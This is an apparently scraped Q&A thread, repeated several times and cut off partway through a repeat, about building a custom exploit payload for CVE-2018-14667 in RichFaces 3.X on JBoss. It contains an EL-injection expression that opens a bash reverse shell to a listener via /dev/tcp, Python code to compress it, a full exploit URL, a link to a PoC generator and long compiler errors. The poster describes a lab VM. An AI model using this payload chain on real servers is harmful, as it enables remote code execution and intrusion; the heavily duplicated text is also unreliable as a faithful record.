CVE-2018-14667; generating a valid payload for RichFaces 3.X
3
I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.
Here's the information I found so far for generating my own payload;
this needs to be compressed via zlib:
#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}
How to compress with zlib:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Then after, encode the compressed data with base64url on:
https://simplycalc.com/base64url-encode.php
Then test it out like this:
http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1
Unfortunately, every time I get a HTTP status code 500 saying:
javax.faces.FacesException: Error decode resource data
I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.
Any help would be very appreciated.
Thanks
--- UPDATES ---
You can find a PoC generator written in Java here:
https://pastebin.com/raw/YRKdatWv
1) Name it Main.java
2) javac Main.java
Unfortunately, I didn't had luck on my side;
Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors
java bash jboss richfaces exploit
asked Nov 21 '18 at 5:35
GeraldGerald
216
add a comment |
3
I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.
Here's the information I found so far for generating my own payload;
this needs to be compressed via zlib:
#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}
How to compress with zlib:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Then after, encode the compressed data with base64url on:
https://simplycalc.com/base64url-encode.php
Then test it out like this:
http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1
Unfortunately, every time I get a HTTP status code 500 saying:
javax.faces.FacesException: Error decode resource data
I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.
Any help would be very appreciated.
Thanks
--- UPDATES ---
You can find a PoC generator written in Java here:
https://pastebin.com/raw/YRKdatWv
1) Name it Main.java
2) javac Main.java
Unfortunately, I didn't had luck on my side;
Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors
java bash jboss richfaces exploit
asked Nov 21 '18 at 5:35
GeraldGerald
216
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35
add a comment |
3
3
3
I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.
Here's the information I found so far for generating my own payload;
this needs to be compressed via zlib:
#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}
How to compress with zlib:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Then after, encode the compressed data with base64url on:
https://simplycalc.com/base64url-encode.php
Then test it out like this:
http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1
Unfortunately, every time I get a HTTP status code 500 saying:
javax.faces.FacesException: Error decode resource data
I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.
Any help would be very appreciated.
Thanks
--- UPDATES ---
You can find a PoC generator written in Java here:
https://pastebin.com/raw/YRKdatWv
1) Name it Main.java
2) javac Main.java
Unfortunately, I didn't had luck on my side;
Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors
java bash jboss richfaces exploit
asked Nov 21 '18 at 5:35
GeraldGerald
216
I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.
Here's the information I found so far for generating my own payload;
this needs to be compressed via zlib:
#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}
How to compress with zlib:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Then after, encode the compressed data with base64url on:
https://simplycalc.com/base64url-encode.php
Then test it out like this:
http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1
Unfortunately, every time I get a HTTP status code 500 saying:
javax.faces.FacesException: Error decode resource data
I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.
Any help would be very appreciated.
Thanks
--- UPDATES ---
You can find a PoC generator written in Java here:
https://pastebin.com/raw/YRKdatWv
1) Name it Main.java
2) javac Main.java
Unfortunately, I didn't had luck on my side;
Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
